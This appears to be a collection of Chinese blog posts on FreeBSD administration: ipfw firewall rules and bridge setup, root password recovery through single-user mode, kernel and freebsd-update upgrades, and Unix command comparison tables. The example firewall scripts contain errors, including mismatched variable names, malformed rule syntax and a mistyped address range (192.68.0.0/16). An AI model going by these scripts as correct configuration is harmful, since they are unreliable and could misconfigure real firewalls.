number 是一个数字，用来定义规则的顺序，因为规则是以先入为主的方式处理，如果你将规则设定放在一个档案中 ( 如 /etc/rc.firewall )，规则会依每一行排列的顺序自动分配编号。你也可以在规则中加上编号，这样就不需要按顺序排列了。如果是在命令列中下 ipfw 指令来新增规则的话，也要指定编号，这样才能让规则依我们的喜好排列，否则就会以指令的先后顺序来排。这个编号不要重复，否则结果可能不是你想要的样子。

action：

action 表示我们这条规则所要做的事，可以用的 action 有下列几个：

命令意义
allow 允许的规则，符合则通过。也可以使用 pass,permit, accept 等别名。
deny 拒绝通过的规则。
reject 拒绝通过的规则，符合规则的封包将被丢弃并传回一个 host unreachable 的 ICMP。
count 更新所有符合规则的计数器。
check-state 检查封包是否符合动态规则，如果符合则停止比对。若没有 check-state 这条规则，动态规则将被第一个 keep-state 的规则所检查。
divert port 将符合 divert sock 的封包转向到指定的 port。
fwd ipaddr[,port] 将符合规则封包的去向转向到 ipaddr，ipaddr 可以是 IP 地址或是 hostname。如果设定的 ipaddr 不是直接可以到达的地址，则会依本机即有的 routing table 来将封包送出。如果该地址是本地地址 (local address)，则保留本地地址并将封包送原本指定的 IP 地址。这项设定通常用来和 transparent proxy 搭配使用。例如：
# ipfw add 50000 fwd 127.0.0.1,3128 tcp from \
192.168.1.0/24 to any 80
如果没有设定 port ，则会依来源封包的 port 将封包送到指定的 IP。使用这项规则时，必须在 kernel 中设定选项 IPFIREWALL_FORWARD。

pipe pipe_nr 传递封包给 dummynet(4) “pipe”，用以限制频宽。使用本语法必须先在核心中加入 option DUMMYNET。请 man ipfw 及 man dummynet。
基本语法是先将要设定频宽的规则加入：
ipfw add pipe pipe_nr ….
再设定该规则的频宽：

ipfw pipe pipe_nr config bw B delay D queue Q plr P
这里的 pipe_nr 指的是 pipe 规则编号，从 1~65535；B 是指频宽，可以表示为 bit/s、Kbit/s、Mbit/s、Bytes/s、KBytes/s、或 MBytes/s。D 是延迟多少 milliseconds (1/1000)。Q 是 queue size 的大小 (单位为 packages 或 Bytes)。P 是要随机丢弃的封包数量。

例如我们要限制内部网域的计算机对外上传的最大频宽是 20 KBytes：

ipfw add pipe 1 ip from 192.168.0.1/24 to any in
ipfw pipe 1 config bw 20KBytes/s

log：

如果该规则有加上 log 这个关键词，则会将符合规则的封包记录在 /var/log/security 中。前提是在核心中有设定 IPFIREWALL_VERBOSE 的选项。有时因为同样的封包太多，会使记录文件保有大量相同的记录，因此我们会在核心中再设定 IPFIREWALL_VERBOSE_LIMIT 这个选项，来限制要记录多少相同的封包。

proto：

proto 表示 protocol，即网络协议的名称，如果使用 ip 或 all 表示所有协议。可以使用的选项有 ip,all,tcp,udp,icmp 等。

src 及 dist：

src 是封包来源；dist 是封包目的地。在这二个项目可以用的关键词有 any, me, 或是以

[ports] 的方式明确指定地址及端口号。

若使用关键词 any 表示使这条规则符合所有 ip 地址。若使用关键词 me 则代表所有在本系统接口的 IP 地址。而使用明确指定地址的方式有下列三种：

IP 地址，指定一个 IP，如 168.20.33.45。
IP/bits，如 1.2.3.4/24，表示所有从 1.2.3.0 到 1.2.3.255 的 IP 都符合规则。
IP:mask，由 IP 加上子网掩码，如 1.2.3.4:255.255.240.0 表示从 1.2.0.0 到 1.2.15.255 都符合。
而在 me, any 及指定的 ip 之后还可以再加上连接埠编号 (ports)，指定 port 的方法可以是直接写出 port ，如 23；或给定一个范围，如 23-80；或是指定数个 ports，如 23,21,80 以逗点隔开。或者是写出在 /etc/services 中所定义的名称，如 ftp，在 services 中定义是 21，因此写 ftp 则代表 port 21。

interface-spec：

interface-spec 表示我们所要指定的网络接口及流入或流出的网络封包。我们可以使用下列几个关键词的结合：

关键词意义
in 只符合流入的封包。
out 只符合流出的封包。
via ifX 封包一定要经过接口 ifX，if 为接口的代号，X 为编号，如 vr0。
via if* 表示封包一定要经过接口 ifX，if 为接口的代号，而 * 则是任何编号，如 vr* 代表 vr0,vr1,…。
via any 表示经过任何界面的封包。
via ipno 表示经过 IP 为 ipno 界面的封包。

via 会使接口永远都会被检查，如果用另一个关键词 recv ，则表示只检查接收的封包，而 xmit 则是送出的封包。这二个选项有时也很有用，例如要限制进出的接口不同时：

ipfw add 100 deny ip from any to any out recv vr0 xmit ed1
recv 接口可以检查流入或流出的封包，而 xmit 接口只能检查流出的封包。所以在上面这里一定要用 out 而不能用 in，只要有使用 xmit 就一定要使用 out。另外，如果 via 和 recv 或 xmit 一起使用是没有效的。

有的封包可能没有接收或传送的接口：例如原本就由本机所送出的封包没有接收接口，而目的是本机的封包也没有传送界面。

options：

我们再列出一些常用的 option 选项，更多选项请 man ipfw：

选项名称意义
keep-state 当符合规则时，ipfw 会建立一个动态规则，内定是让符合规则的来源及目的地使用相同的协议时就让封包通过。这个规则有一定的生存期限 (lift time，由 sysctl 中的变量所控制)，每当有新的封包符合规则时，便用重设生存期限。
bridged 只符合 bridged 的封包。
established 只适用于 TCP 封包，当封包中有 RST 或 ACK bits 时就符合。
uid xxx 当使用者 uid 为 xxx 则符合该规则。例如，我们如果要限制 Anonymous FTP 的下载速度最大为 64KB/s，则可以使用：

ipfw pipe 1 config bw 512Kbit/s
ipfw add pipe 1 tcp from me to any uid 21
上列规则第一行是先建一个编号为 1 的 pipe，限制频宽为 512 Kbit/s (也就是 64 KByte/s)，接着第二条是当使用者 uid 为 21 时，从本机 (me) 下载的 tcp 封包都使用编号 1 的 pipe。因为 Anonymous FTP 的使用者是 ftp，它的预设 uid 为 21，所以这条规则会被套用在 Anonymous FTP user 上。

setup 只适用于 TCP 封包，当封包中有 SYN bits 时就符合。

以上的说明只是 man ipfw 中的一小部份。如果你想要对 ipfw 更了解，例如如何使用 ipfw 来限制频宽等，建议你 man ipfw。

不知道您看了这么多的规则是否觉得眼花撩乱，如果不了解 TCP/IP 的原理，彻底了解 ipfw 的设定还真不容易。没关系，我们下面将举几个简单、常用的设定，这些范例应该够平常使用了。

12.3.2 范例

我将原本的 /etc/rc.firewall 备份成 rc.firewal.old，并将它改成下列内容，请注意，这里只是范例，只供参考：

# 设定我的 IP
myip=”1.2.3.4″
# 设定对外的网络卡代号
outif=”vr0″
# 设定对内的网络上代号
inif=”vr1″
#清除所有的规则
/sbin/ipfw -f flush
# Throw away RFC 1918 networks
${ipfw} add deny ip from 10.0.0.0/8 to any in via ${oif}
${ipfw} add deny ip from 172.16.0.0/12 to any in via ${oif}
${ipfw} add deny ip from 192.168.0.0/16 to any in via ${oif}
# 只允许内部网络对 192.168.0.1 使用 telnet 服务
/sbin/ipfw add 200 allow tcp from 192.168.0.1/24 to 192.168.0.1 telnet
# 拒绝其它人连到 port 23，并记录尝试联机的机器
/sbin/ipfw add 300 deny log tcp from any to me 23
# 拒绝任何 ICMP 封包
/sbin/ipfw add 400 deny icmp from any to any

# 下面这台机器是坏人，不让它进来，并记录下来
/sbin/ipfw add 1100 deny log all from 211.21.104.102 to any
# NAT 的设定
/sbin/ipfw add divert natd all from any to any via vr0
# 限制内部网域对外下载最大频宽为 20KBytes/s，上传最大频宽为 5KBytes/s
ipfw pipe 20 config bw 20KBytes/s
ipfw add pipe 20 ip from any to 192.168.0.1/24 out
ipfw pipe 30 config bw 5KBytes/s
ipfw add pipe 30 ip from 192.168.0.1/24 to any in
# 允许本机对任何地方联机
/sbin/ipfw add check-state
/sbin/ipfw add 2000 allow udp from ${myip} to any keep-state
/sbin/ipfw add 2100 pass ip from ${myip} to any

# 允许外界使用邮件服务
/sbin/ipfw add 3000 pass tcp from any to ${myip} 25 in via ${outif}

# 不允许内部的 IP 从外部连进来
/sbin/ipfw add 1200 add deny ip from ${myip}/24 to any in via ${oif}

# 其它都拒绝，如果没有在 kernel 中设定
# IPFIREWALL_DEFAULT_TO_ACCEPT 则内定就有下列这一条
/sbin/ipfw 65535 add deny all from any to any

存盘后就可以使用 sh rc.firewall 来执行新的规则了。如果您将规则放在 /etc/rc.firewall 中，则开机时会自动执行。

12.3.3 一些小建议

在建立一个封包过滤的防火墙时，应该尽可能阻挡一些不必要的服务。避免开放 port 1024 以下的 TCP 服务，例如只通过 SMTP 封包 (port 25) 给邮件服务器；拒绝所有 UDP 联机 (只有少部份服务如 NFS 会用到)；一些只有内部才会使用的服务，如数据库等也不必对外开放。

另外，同样的防火墙限制可以使用不同的语法来展现，应该要试着让规则数量越少越好，以加快处理速度。

在更新 firewall 规则时，如果规则没有写好，而你又是以远程登入的方式修改规则，很可能会因此无法继续登入。因此建议更新规则时最好在 console 前执行，若迫不得已一定要使用远程登入，建议您执行 /usr/share/examples/ipfw/change_rules.sh 这支程序来编辑规则：

# cd /usr/share/examples/ipfw
# sh change_rules.sh
接着会出现文书编辑软件并最动加载 /etc/rc.firewall 让你编辑，结束离开后，会询问是否要执行更新。如果执行新的规则后造成断线，它会自动加载旧的规则，让我们可以再次联机。

12.4 封包过滤桥接器

如果您有三台机器全部都有 public IP，而您想使用其中一台做为防火墙，在不改变另外二台机器的设定下，我们可以使具封包过滤的桥接器来架设防火墙。只要将这台桥接器放在另外二台和对外网络之间即可。

另外，当我们的内部网络有不同 class 的主机时，例如内部有 140.115.2.3 及 140.115.5.6 这二台计算机时，就无法使用传统的防火墙。如果要在这二台机器连到因特网中途中使用防火墙，我们必须使用新的方式，也可以使用这里介绍的桥接器。

我们可以使用 FreeBSD 为桥接器，利用它来做封包过滤的动作，而丝毫不影响内部的主机原本的设定。为了达到这个功能，我们必需要有二张支持 promiscuous mode 的网络卡，现在的网络卡大部份都有支持。二张网络卡当中，一张需要设定 IP，另一张不需要。至于您要将 IP 设定在哪一张卡都可以，建议是设在对外的网络卡上。

首先，我们必须在核心中加入关于桥接器的设定：

# 支援桥接器
options BRIDGE
# 防火墙设定
options IPFIREWALL
options IPFIREWALL_VERBOSE
# 我们这里不将防火墙预设为接收所有封包
#options IPFIREWALL_DEFAULT_TO_ACCEPT

如果您要让桥接器具有流量控制的功能，则可以加上之前提到的选项「options DUMMYNET」。重新编译核心后，在重开机前，我们先设定一下 /etc/rc.conf：

firewall_enable=”YES”
firewall_type=”open”

还有一件事要做，当在以太网络上跑 IP 协议时，事实上使用二种以太网络协议，一个是 IP，另一个是 ARP。ARP 协定是当机器要找出给定 IP 地址所对应的以太网络地址时使用的。ARP 并不是 IP 层的一部份，只是给 IP 应用在以太网络上运作。标准的防火墙规则中并未加入对于 ARP 的支持，幸运的是，高手们的在 ipfirewall 程序代码中加入了对封包过滤桥接器的支持。如果我们在 IP 地址 0.0.0.0 上建立一个特别的 UDP 规则，UDP 端口的号码将被使用来搭配被桥接封包的以太网络协议号码，如此一来，我们的桥接器就可以被设定成传递或拒绝非 IP 的协议。请在 /etc/rc.firewall 中接近文件顶端处理 lo0 的那三行之下(就是有写 Only in rare cases do you want to change these rules 的地方)加入下面一行：

${fwcmd} add allow udp from 0.0.0.0 2054 to 0.0.0.0

现在我们就可以重新开机了。重开机之后，先执行下列指令来启动桥接器：

如果您使用的是 FreeBSD 4.x：

# sysctl -w net.link.ether.bridge_ipfw=1
# sysctl -w net.link.ether.bridge=1
如果您使用的是 FreeBSD 5.x：

# sysctl -w net.link.ether.bridge.ipfw=1
# sysctl -w net.link.ether.bridge.enable=1
现在我们可以将机器放在内外二个网域之间了。因为我们之前在 /etc/rc.conf 中，设定防火墙完全打开，不阻挡任何封包，所以放在二个网域之间时，运作应该没有问题。我们之前只设了一张网络上的 IP，而在执行了上述的指令之后，第二张网络卡便开始运作。

下一步就是将我们启动桥接器的指令放在 /etc/rc.local 中，让系统在开机时自动执行。或者，我们可以在 /etc/sysctl.conf 中加入下面二行：

# 如果您使用的是 FreeBSD 4.x
net.link.ether.bridge_ipfw=1
net.link.ether.bridge=1
# 如果您使用的是 FreeBSD 5.2 以后的版本
net.link.ether.bridge.enable=1
net.link.ether.bridge.ipfw=1

接下来我们就可以依自己的需求在 /etc/rc.firewall 文件的最后面加上我们自己想要的防火墙规则了。以下是一个简单的设定规则，假设桥接器的 IP 是 140.115.75.137，内部有二台主机，一台提供网页服务，一台是 BBS：

us_ip=140.115.75.137
basrv_ip=140.115.3.4
bbs_ip=140.115.5.6
oif=fxp0
iif=fxp1
ipfw=”/sbin/ipfw”
# Things that we’ve kept state on before get to go through in a hurry.
${ipfw} 1000 add check-state

# Throw away RFC 1918 networks
${ipfw} 1100 add deny ip from 10.0.0.0/8 to any in via ${oif}
${ipfw} 1200 add deny log ip from 172.16.0.0/12 to any in via ${oif}
${ipfw} 1300 add deny log ip from 192.68.0.0/16 to any in via ${oif}
# 允许桥接器本身所有想做的联机 (keep state if UDP)
${ipfw} 1400 add pass udp from ${us_ip} to any keep-state
${ipfw} 1500 add pass ip from ${us_ip} to any

# 允许内部网络任何想做的联机 (keep state if UDP)
${ipfw} 1600 add pass udp from any to any in via ${iif} keep-state
${ipfw} 1700 add pass ip from any to any in via ${iif}

# 允许任何的 ICMP 联机
${ipfw} 1800 add pass icmp from any to any

# 不允许使用 port 888 联机
${ipfw} 2000 add deny log tcp from any to ${bbs_ip} 888

# TCP section
# 任何地方都可以建立 TCP 联机
${ipfw} 3000 add pass tcp from any to any via ${oif}

# Pass the “quarantine” range.
${ipfw} 3100 add pass tcp from any to any 49152-65535 in via ${oif}
# Pass ident probes. It’s better than waiting for them to timeout
${ipfw} 3200 add pass tcp from any to any 113 in via ${oif}
# Pass SSH.
${ipfw} 3300 add pass tcp from any to any 22 in via ${oif}
# Pass DNS. 当内部网络有名称服务器时才需要
#${ipfw} add pass tcp from any to any 53 in via ${oif}
# 只传递 SMTP 给邮件服务器
${ipfw} 3400 add pass tcp from any to ${bbs_ip} 25 in via ${oif}
${ipfw} 3500 add pass tcp from any to ${basrv_ip} 25 in via ${oif}
# UDP section
# Pass the “quarantine” range.
${ipfw} 4000 add pass udp from any to any 49152-65535 in via ${oif}
# Pass DNS. 当内部网络有名称服务器时才需要
#${ipfw} 4100 add pass udp from any to any 53 in via ${oif}

# 其它的都拒绝
${ipfw} 60000 add deny ip from any to any

FreeBSD 恢复 root 密码

admin — Thu, 19 Feb 2009 12:04:07 +0000

FreeBSD 恢復root密碼

重新啓動FreeBSD 進入單用戶更改密碼

FreeBSD 4.x 或之前的版本

在系統起動顯示以下信息時按 spacebar

Hit [Enter] to boot immediately, or any other key for command prompt.
Booting [kernel] in 10 seconds…

接着在顯示以下信息時輸入 boot -s

Type ‘?’ for a list of commands, or ‘help’ for more detailed help.
ok

按 Enter 後系統會運行至顯示以下信息

Enter full pathname of shell or RETURN for /bin/sh:

再按 Enter 進入單用戶, 顯示 #
掛載檔案系統, 輸入

# fsck -p \\文件檔案檢查
# mount -u / \\掛載 /
# mount -t ufs -a \\掛載所有文件檔案

更改密碼

# passwd \\更改密碼
New password:_
Retype new password:_
passwd: updating the database…
passwd: done
# exit \\離開單用戶進入多用戶正常模式

FreeBSD 5 或都之後版本.

在系統起動顯示以下畫面時按 spacebar 選擇 4 按 Enter 進入單用戶模式

系統會運行至顯示以下信息

Enter full pathname of shell or RETURN for /bin/sh:

再按 Enter 進入單用戶, 顯示 #
掛載檔案系統, 輸入

# fsck -p \\文件檔案檢查
# mount -u / \\掛載 /
# mount -t ufs -a \\掛載所有文件檔案

更改密碼

# passwd \\更改密碼
New password:_
Retype new password:_
passwd: updating the database…
passwd: done
# exit \\離開單用戶進入多用戶正常模式

终于解决温室小花技术博客的永久链接问题。

admin — Sat, 07 Feb 2009 16:14:17 +0000

这个问题早前就遇到，只不过一直没有时间去认真解决它，今天，想着不能再拖这个时间，就今晚着重解决这个问题，原先，俺以为是不是俺装wordpress那里装错啦，就用了另外的网站空间与域名再装多一次原版wordpress ,发觉问题依然，在后台选择永久链接后，前台依然出现404错误，那俺基本排除俺装wordpress中文版可能出错问题，那俺很自然就想到，是不是apache的httpd.conf配置问题，后来在google查了查，也找不到什么好结果，最后，没办法，就打开apache的手册，专门看rewrite那段说明。看了看，猜测可能是httpd.conf里没有对wordpress所在的目录开通相应的权限，而至使wordpress所在目录的.htaccess文件不正常。所以，就尝试在wordpress所在域名空间的根目录加上这些设置,在httpd.conf设置：

#evanjiang alias host

Options Indexes FollowSymLinks
AllowOverride All
# Options None
# Order allow,deny
Allow from all

最后，永久链接问题得以解决，解决了一个历史遗留问题，应验俺之前说的话，就是，任何问题，只要认真对待，都能解决！

PCBSD内核编译/升级

admin — Thu, 05 Feb 2009 13:49:36 +0000

目的：将PCBSD的内核由FreeBSD 6.1升级至 6.2

步骤：

1. 升级source file至6.2

首先编辑/usr/share/examples/cvsup/standard-supfile文件，修改其中的两个地方：
将其中的*default release=cvs tag=RELENG_6_1一行改为 RELENG_6_2,
将*default host=CHANGE_THIS.FreeBSD.org中的CHANGE_THIS.freebsd.org替换为cvsup.cn.freebsd.org

修改完成後，运行如下命令：
cvsup /usr/share/examples/cvsup/standard-supfile

这个命令将会更新系统源文件至6.2版。

2. 创建内核配置文件MYKERNEL（或任何其他你喜欢的名字）

请以root帐户运行如下的命令：

# cd /usr/src/sys/i386/conf
# mkdir /root/kernels
# cp /PCBSD/conf/PCBSDv1.3 /root/kernels/MYKERNEL
# ln -s /root/kernels/MYKERNEL

这里，你可以编辑MYKERNEL文件，将一些不需要的内核选项去掉，这样编译出的内核将会更简洁，效率更高。比如其中有cpu 486/cpu 586，如果你的CPU是PII以上的，你就可以删除这两行，或者通过在行首加一个#符号来注释掉他们，只保留cpu686就可。

但你一定要清楚每个选项的意思，否则请不要随意更改，不然很可能导致系统无法启动。

3. 编辑/etc/make.conf文件
如果下面的内容不在make.conf文件中，请添加：
CPUTYPE=i686 #i486, i586, i586/mmx, i686, p2, p3, p4, athlon,athlon-xp, athlon64, opteron
RELEASETAG=”RELENG_6_2″
SUP_UPDATE=yes
SUP=/usr/local/bin/cvsup
SUPFLAGS=-g -L 2
SUPHOST=cvsup.cn.FreeBSD.org
SUPFILE=/usr/share/examples/cvsup/standard-supfile
PORTSSUPFILE=/usr/share/examples/cvsup/ports-supfile
#DOCSUPFILE=/usr/share/examples/cvsup/doc-supfile
KERNCONF=MYKERNEL

4.编译并安装内核

依次运行如下命令：
#cd /usr/src
#make buildkernel
#make installkernel
#reboot

重启後你的PCBSD系统就是6.2版的内核。其中buildkernel和installkernel的过程需要很长的时间，尤其是你的CPU和内存不是很多的话。

5. 验证

重启完成後，可以运行如下命令来查看目前的内核版本：

# dmesg | grep RELEASE
FreeBSD 6.2-RELEASE #0: Fri Jan 12 10:40:27 UTC 2007

每个人的输出并不相同，但只要你看到6.2-RELEASE的字样，就表示你已经成功

利用freebsd-update升级freebsd

admin — Mon, 02 Feb 2009 20:03:11 +0000

freebsd-update — fetch and install binary updates to FreeBSD

描述:
freebsd-update 是FreeBSD系统用来撷取, 安装及取得binary update 的工具。要注意的是,这些update仅止于FreeBSD Release Engineering Team维护的版本.
诸如: FreeBSD 6.1-RELEASE 或 FreeBSD 6.2-RC1 而非 FreeBSD 6.2-STABLE
or FreeBSD 7.0-CURRENT 之类的版本.
补充: FreeBSD 6.2-RELEASE版本后才有此指令

语法:
freebsd-update [-b basedir] [-d workdir] [-f conffile] [-k KEY]
[-r newrelease] [-s server] [-t address] command

参数:
-b basedir　　　　指定系统挂载的最基本路径 (预设: / )

-d workdir　　　　档案暂存数据夹 (预设: /var/db/freebsd-update/ ),

-f conffile　　　　设定文件位置 (预设: /etc/freebsd-update.conf)
-k KEY　　　　　　信任的RSA金钥位置 (预设: 从设定档读取)
-r newrelease　　定义新的RELEASE版本升级标的 (针对 upgrade)
-s server　　　　定义撷取更新档案的server (预设:从设定档读取)

-t address　　　　邮件输出的对象 (预设: root )

命令:
fetch 以现有安装的环境及设定参数, 撷取可能的binary更新.
cron 随机休息(sleep)1~3600秒,然后下载更新档.
若更新档案下载完成,系统会发送email通知root
(可透过 -t 参数或设定档 , 将信件递送给其它人员) .
如同此命令的名称(cron), 被用来设计透过cron程序执行.
随机休息秒数则是用来避免同时间有大量机器向server要求更新.
upgrade 截取必要的升级到新版本RELEASE的档案,请小心使用.
并确认您已经阅读过新版本的 announcement and release notes.
install 安装最近撷取的更新(update)/升级(upgrade)档案.
rollback 反安装最近安装过的更新(update).

小技巧:
把 freebsd-update 放入cron执行 , 如此就能够自动更新.
0 3 * * * /usr/sbin/freebsd-update cron
相关档案/数据夹:
/etc/freebsd-update.conf 预设的freebsd-update程序设定文件
/var/db/freebsd-update/ 预设的freebsd-update暂存及下载档案数据夹

实际操作:

本例从 6.3-RELEASE 进行更新(update).
freebsd-update -r 6.3-RELEASE fetch

安装:
freebsd-update -r 6.3-RELEASE install

重新开机后,执行 uname -a 名称就会变成 6.3-RELEASE-p1 , 若不在意名称,也不需要重新开机.

将FreeBSD7.0升级到7.1的方法

admin — Mon, 02 Feb 2009 20:00:44 +0000

首先，如果你用的是默认的内核，那么可以使用freebsd-update来升级系统，如果你的内核是自己重新编译过了的，那么按方法一来升级系统，如果是默认内核，按照方法二来升级系统。
方法一：cvsup升级系统
1：抓取源代码
# cp /usr/share/examples/cvsup/standard-supfile /root/supfile
# vi /root/supfile
把host=CHANGE_THIS.FreeBSD.org改为host=cvsup2.cn.FreeBSD.org

*default release=cvs tag=RELENG_7_1
这个tag就是用来控制把版本升级到哪个的。

改好以后的supfile为：
*default host=cvsup2.cn.FreeBSD.org
*default base=/var/db
*default prefix=/usr
*default release=cvs tag=RELENG_7_1
*default delete use-rel-suffix
*default compress
然后开始抓取源代码，执行下面的命令：
# cvsup /root/supfile
或# csup /root/supfile
从6.0开始系统就提供csup来代替cvsup了，如果你原来装过cvsup，那么两个都可以的。
2：编译基础系统
# vi /usr/src/UPDATING
# cd /usr/src
# make buildworld
3：编译内核
# make buildkernel KERNCONF=foo
# make installkernel KERNCONF=foo
# reboot
系统启动时，选择“4”，进入“单用户”模式，输入“boot -s”进入单用户的提示符“#”，然后mount文件系统，执行mergemaster。
# mount -a -t ufs
# mergemaster -p
4：安装基础系统
# cd /usr/src
# make installworld
然后合并配置文件
# mergemaster -i
最后重启系统
# reboot
重新进入系统以后执行以下几个命令看升级是否有问题：
# uname -a
# tail -f /var/log/messages
# tail -f /path/to/other/log/files
# sockstat
5：升级已安装的软件
# portsnap fetch update
执行以下命令升级通过ports安装的所有软件
# portversion -l ‘<‘
# portupgrade -a

方法二：使用freebsd-update升级系统
freebsd-update 是FreeBSD系统用来抓取、安装及取得binary update 的工具。要注意的是,这些update仅止于FreeBSD Release Engineering Team维护的版本.诸如: FreeBSD 6.1-RELEASE 或 FreeBSD 6.2-RC1 而非 FreeBSD 6.2-STABLEBSD or FreeBSD 7.0-CURRENT 之类的版本.FreeBSD 6.2-RELEASE版本后才有此指令。
不过使用该方法升级系统，需要注意备份原来的配置、数据库等文件，以防万一。
该方法目前仅适用于你使用的是默认的内核，
# freebsd-update upgrade -r 7.1-RELEASE
在此过程中会询问您对于一些配置文件的处理方法，需要你做出回答。
# freebsd-update install
# reboot
重新启动以后需要重新执行该命令来安装新的userland组件。
# freebsd-update install
需要注意的是使用intel的网卡，要把em变成igb，否则网络将有问题，
# reboot
关于的使用方法，可以参见http://www.bsdlover.cn/html/21/n-821.html，有一个相当来说详细的说明。
升级完系统以后，需要把ports的软件也更新一下，方法如下：
# portsnap fetch update
# pkg_version -vIL=
# portupgrade -a

主流服务器UNIX操作系统用户帐号的设置

admin — Thu, 22 Jan 2009 03:56:34 +0000

主流服务器UNIX操作系统用户帐号的设置

账号设置	HP-UX	FreeBSD	Solaris (SPARC)
密码文件	/etc/passwd /tcb/files/auth/r/root	/etc/passwd /etc/master.passwd	/etc/passwd /etc/shadow
组文件	/etc/group /etc/logingroup	/etc/group	/etc/group
允许最大用户ID	2147483647	65535	2147483647
允许远程登录的用户文件设置	/etc/securetty {console}	/etc/ttys {secure}	/etc/default/login {CONSOLE=/dev/console}
Nobody的UID	-2	65534	60001 & 65534(nobody4)
Nobody的GID	-2(nogroup)	65534	60002 & 65534(nogroup)
找回ROOT密码	>boot Interact with IPL ? Y ISL>hpux -iS passwd root	ok boot -s passwd root	boot cdrom -s mkdir /tmp/a mount /dev/c0t0d0s0 /tmp/a vi /tmp/a/etc/shadow
创建新用户	useradd	adduser	Useradd
删除用户	userdel	rmuser	Userdel
列出用户	logins		Logins
修改用户账号	usermod		Usermod

账号设置	AIX	Linux( RedHat )
密码文件	/etc/passwd /etc/security/passwd	/etc/passwd /etc/shadow
组文件	/etc/group /etc/security/group	/etc/group
允许最大用户ID	4294967295	65535
允许远程登录的用户文件设置	/etc/security/user {rlogin=true}	/etc/securetty {ttyp1}
Nobody的UID	4294967294	99
Nobody的GID	4294967294	99
找回ROOT密码	boot from CD/Tape Installation/Maintenance Start Limited Shell getrootfs hdisk0 vi /etc/security/passwd	{lilo} control-x linux S passwd root {grub} c kernel vmlinuz-2.4.9-13 single ro root=/dev/hda8 initrd /initrd-2.4.9-13.img boot passwd root
创建新用户	mkuser	Useradd
删除用户	rmuser	Userdel
列出用户	lsuser -f ALL
修改用户账号	chuser -a	usermod

主流服务器UNIX操作系统目录结构对比

Directory Mappings	AIX	FreeBSD	HP-UX
Root filesystem	/ {/dev/hd4}	/ {/dev/ad0s1a}	/ {/dev/vg00/lvol1}
Home Directory	/home {/dev/hd1}		/home {/dev/vg00/lvol4}
	/tmp {/dev/hd3}		/tmp {/dev/vg00/lvol6}
	/usr {/dev/hd2}	/usr {/dev/ad0s1f}	/usr {/dev/vg00/lvol7}
	/var {/dev/hd9var}	/var {/dev/ad0s1e}	/var {/dev/vg00/lvol8}
Sample configuration files	-		/usr/newconfig

Directory Mappings	Linux( RedHat )	Solaris	Tru64
Root filesystem	/ {/dev/sda1}	/ {/dev/vx/dsk/rootvol}	/ {/dev/rz0a}
Home Directory		/export/home {dev/vx/dsk/home}
		/tmp {dev/vx/dsk/swapvol}
		/usr	/usr {/dev/rz0g}
		/var
Sample configuration files

主流服务器UNIX操作系统常用命令

General Commands	AIX	FreeBSD	HP-UX	Linux(RedHat)	Solaris	Tru64
Unique host ID	hostid		uname -i	hostid	hostid	hostid
Administrator	smit		sam	linuxconf	admintool
Performance monitor	top monitor	top	top glance	Top	top	top
System activity reporter	sar	sa	sar		sar
Virtual Memory statistics	vmstat	vmstat	vmstat	vmstat	vmstat	vmstat
I/O statistics	iostat	iostat	iostat		iostat	iostat
Error logs	alog -o -t boot errpt	dmesg	dmesg	Dmesg	dmesg	uerf -R -o full
Physical RAM	1M TB		4TB	64GB{>2.3.24}	16TB	4TB
Shared Memory	64K TB		8TB	sysctl kernel.shmmax
Process Data Space	384K TB		4TB	900 MB
Swap device	/dev/hd6	/dev/ad0s1b	/dev/vg00/lvol2	/dev/sda2	/dev/vx/dsk/swapvol	/dev/rz0b
Swap file type	/etc/swapspaces	swap	swap	partition type 82	swap	raw
Display swap size	lsps -a	swapinfo	swapinfo -a	Free	swap -l	swapon -s
Activate Swap	swapon -a	swapon -a	swapon -a	swapon -a	swap -a	swapon -a

主流服务器UNIX操作系统打印机、TCP/IP设置

Printers	AIX	FreeBSD	HP-UX
Printer Queues	/etc/qconfig	/var/spool/print	/etc/lp/interface/*
Stop LP	stopsrc -s lpd		lpshut
Start LP	startsrc -s lpd	Lpd	lpsched
Submit print jobs	enq lp lpr qprt	Lp	lp
LP statistics	enq -A lpq lpstat qchk	Lpq	lpstat
Remove print jobs	cancel lprm qcan enq -x	Cancel lprm	cancel
Add printer queue	smit mkpq		lpadmin -p pq
Remove Printer Q	smit rmpq		lpadmin -x pq
Make default Prt	export LPDEST=”pq”		lpadmin -d pq
TCP/IP	AIX	FreeBSD	HP-UX
Network IP configuration	lsattr -E -l inet0	/etc/rc.conf	/etc/rc.config.d/netconf
Hosts IP addresses	/etc/hosts	/etc/hosts	/etc/hosts
Name service switch	/etc/netsvc.conf	/etc/host.conf	/etc/nsswitch.conf
Network parameters	no –a	Sysctl	ndd -h
Routing daemon	Gated	Routed	gated
NIC Configurations	ifconfig –a	ifconfig -a	lanscan -v
Secondary IP Addr	ifconfig en0 alias IP	ifconfig xl0 alias IP	ifconfig lan0:1 IP
Login prompt	HERALD @ /etc/security/login.cfg		telnetd –b /etc/issue
Increase the # of pseudo-terminals	odmget -q “attribute=num and uniquetype=pty/pty/pty” PdAt \| sed “s/0-64/0-512/” \| odmchange -q “attribute=num and uniquetype=pty/pty/pty” -o PdAt chdev -l pty0 -anum=256 -P reboot		rebuild your kernel with these new values NPTY=# NSTRPY=# reboot insf -d ptys -n # insf -d ptym -n # insf -d pts -s # -e -v
Maximum # of ptys	512		{MAXUSERS}
Remote Shell	Remsh rsh	Rsh	remsh
YP/NIS service binder	/usr/lib/netsvc/yp/ypbind	/usr/sbin/ypbind	/usr/lib/netsvc/yp/ypbind

主流服务器UNIX操作系统打印机、TCP/IP设置续

Printers	Linux (Redhat)	Solaris (SPARC)	Tru64
Printer Queues	/var/spool/lpd/lp/*	/etc/lp/interfaces/*	/usr/spool/lpd
Stop LP	/etc/init.d/lpd stop	/usr/lib/lp/lpshut	/sbin/init.d/lpd stop
Start LP	/etc/init.d/lpd start	/usr/lib/lp/lpsched	/sbin/init.d/lpd start
Submit print jobs	Lpr	Lp lpr	Lp lpr
LP statistics	Lpq	Lpstat	Lpstat
Remove print jobs	Lprm	Cancel lprm	cancel lprm
Add printer queue	Printtool	lpadmin -p pq	Lprsetup
Remove Printer Q		lpadmin -x pq	Lprsetup
Make default Prt		lpadmin -d pq	export PRINTER=”lp”
TCP/IP	Linux( RedHat )	Solaris (SPARC)	Tru64
Network IP configuration	/etc/sysconfig/network-scripts/	/etc/hostname.* /etc/inet/* /etc/defaultrouter	/etc/rc.config
Hosts IP addresses	/etc/hosts	/etc/inet/hosts	/etc/hosts
Name service switch	/etc/nsswitch.conf	/etc/nsswitch.conf	/etc/svc.conf
